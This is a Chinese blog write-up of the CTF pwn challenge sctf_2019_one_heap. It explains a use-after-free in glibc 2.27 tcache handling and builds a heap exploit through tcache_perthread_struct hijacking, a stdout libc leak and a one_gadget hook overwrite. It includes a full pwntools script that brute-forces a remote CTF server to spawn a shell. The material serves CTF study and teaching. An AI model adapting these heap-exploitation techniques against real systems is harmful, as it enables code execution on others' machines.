sctf_2019_one_heap

注意
本文最后更新于 2021-05-03,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • tcache_perthread_struct这个结构体也是阔以释放的,并且可以将它释放到unsorted bin中去,然后分配这个unsorted bin chunk,可以控制任意地址分配堆内存。

题目分析

checksec

image-20210503180503385

题目的环境为ubuntu 18,并且保护全开。

函数分析

main

image-20210504134146571

image-20210504134408474

这个函数名是我自己取的,是为了方便理解。这里只有两个选项,只能newdelete。接下来,分别看一下这两个选项。

new_note

image-20210504134555468

需要注意的点有:

  • 分配的chunk的大小限制在0x7f
  • 分配的数量限制在0xf,也就是这里的malloc_count变量大小
delete_note

image-20210504134737467

需要注意的点:

  • 执行完free(ptr)后,没有将指针置空,存在UAF漏洞
  • 最多只能释放4次,也就是free_count的大小

漏洞点

漏洞出现在delete_note函数处,这里存在UAF漏洞。由于程序的运行环境为ubuntu 18,那么在libc-2.27.so的前几个版本中,引入的tcache bin机制是缺乏校验机制的。也就是,即使对tcache bin chunk重复释放,也不会引发任何异常。比fastbin chunk的约束更少,一来不检查size域,二来也不检查是否重复释放。

但是,程序只提供一个ptr指针来进行堆操作,因此,需要劫持一下tcache_perthread_struct这个结构体。

利用思路

知识点

  • tcache bin dup
  • tcache bin poisoning
  • tacahe_perthread_struct

很多知识点在之前的一些博客里面已经讲过了,这里不再赘叙。

利用过程

步骤:

  • 调用1new_note,分配一个0x80大小的chunk
  • 连续释放两次上方分配的chunk
  • 爆破一个字节,将chunk分配到tcache_perthread_struct
  • 修改大小为为0x250大小的chunk的数量,需要超过7,之后释放掉tcache_perthread_struct,使其被放置再在unsorted bin中。
  • 分配这个unsorted bin chunk,首先爆破1个字节,分配到stdout结构体附近,使用stdout来泄露libc地址
  • 分配到__malloc_hook上方,修改__malloc_hookone_gadget地址,再次分配时即可getshell

EXP

调试过程

  • 准备好分配与释放函数

    1
    2
    3
    4
    5
    6
    7
    8
    
    def new_note(size, content="id"):
        sh.sendlineafter("Your choice:", '1')
        sh.sendlineafter("Input the size:", str(size))
        sh.sendlineafter("Input the content:", content)
    
    
    def del_note():
        sh.sendlineafter("Your choice:", '2')
  • 利用tcache bin dup分配到tcache_perthread_struct,并修改0x250大小的chunk对应的数量为7。这里需要爆破1个字节,因为保护全开的话,堆地址对齐到内存页,低2个字节一定是?000,这里的代码是手动输入,实际需要爆破,成功率为1/16

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    new_note(0x70)
    del_note()
    del_note()
    lw = input("one_byte:")
    lw = int16(lw)
    new_note(0x70, p16((lw << 8) | 0x10))
    new_note(0x70)
    layout = [0, 0, 0, 0, 0x07000000]
    new_note(0x70, flat(layout))

    image-20210504142019042

    显然,这里需要输入0x40

    image-20210504142145181

    image-20210504142300056

  • 释放掉tcache_perthread_struct

    1
    
    del_note()

    image-20210504142807205

  • 然后利用unsorted binfdbk指针会留一个libc地址的特性,爆破一个字节,分配到stdout上方,这里直接修改0x50大小的chunktcache bins的头指针地址

    1
    2
    3
    4
    
    new_note(0x40, p64(0) * 5)
    lw = input("one_byte:")
    lw = int16(lw)
    new_note(0x10, flat(0, p16((lw << 8) | 0x60)))

    image-20210504143253502

    这里就需要输入0x77,可以看到修改成功了 image-20210504143407708

  • 然后利用stdout泄露出libc地址,并修改地址分配chunk__realloc_hook上方。这里需要调整一下栈帧,所以要借助__realloc_hook。首先del_note是为了能再次修改0x50大小的chunk的头指针。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    del_note()
    
    new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58"))
    msg = sh.recvn(8)
    leak_addr = u64(msg)
    LOG_ADDR("leak_addr", leak_addr)
    libc_base_addr = leak_addr - 0x3e82a0
    LOG_ADDR("libc_base_addr", libc_base_addr)
    realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"]
    realloc_addr = libc_base_addr + libc.sym["realloc"]
    
    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base_addr + gadgets[2]
    new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))

    image-20210504143940989

    然后任意地址分配:

    image-20210504144111894

  • 然后调整栈帧之后,再次分配即可getshell

    1
    2
    3
    
    new_note(0x40, flat(one_gadget, realloc_addr+0x4))
    new_note(0x10)
    sh.interactive()

    image-20210504144523640

    image-20210504144623168

远程需要爆破tcache_perthread_struct的低2位字节,与stdout结构体的低2位字节,远程爆破效果为:

image-20210504145941441

爆破了218次才成功!

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

# sh:tube = process("./sctf_2019_one_heap")
context.update(arch="amd64", os="linux", endian="little")
sh = remote("node3.buuoj.cn", 26663)
cur_elf = ELF("./sctf_2019_one_heap")
libc = cur_elf.libc

def LOG_ADDR(*args):
    pass

context.update(arch="amd64", os="linux", endian="little")

def new_note(size, content="id"):
    sh.sendlineafter("Your choice:", '1')
    sh.sendlineafter("Input the size:", str(size))
    sh.sendlineafter("Input the content:", content)


def del_note():
    sh.sendlineafter("Your choice:", '2')

def attack(first, second):
    new_note(0x70)
    del_note()
    del_note()

    new_note(0x70, p16((first << 8) | 0x10))
    new_note(0x70)
    layout = [0, 0, 0, 0, 0x07000000]
    new_note(0x70, flat(layout))
    del_note()

    new_note(0x40, p64(0) * 5)

    new_note(0x10, flat(0, p16((second << 8) | 0x60)))
    del_note()

    new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58"))
    msg = sh.recvn(8)
    leak_addr = u64(msg)
    LOG_ADDR("leak_addr", leak_addr)
    libc_base_addr = leak_addr - 0x3e82a0
    realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"]
    realloc_addr = libc_base_addr + libc.sym["realloc"]

    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base_addr + gadgets[2]
    new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))

    new_note(0x40, flat(one_gadget, realloc_addr+0x4))

    new_note(0x10)
    try:
        sh.sendline("id")
        sh.recvline_contains("uid", timeout=2)
        sh.sendline("cat flag")
        sh.interactive()
    except:
        try:
            sh.close()
        except:
            pass

if __name__ == "__main__":
    n = 0x1000
    while n > 0:
        log.success("counts: {}".format(0x1000 - n))
        try:
            attack(0x60, 0x67)
        except:
            pass
        # sh = process("./sctf_2019_one_heap")
        sh = remote("node3.buuoj.cn", 26663)
        n -= 1

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%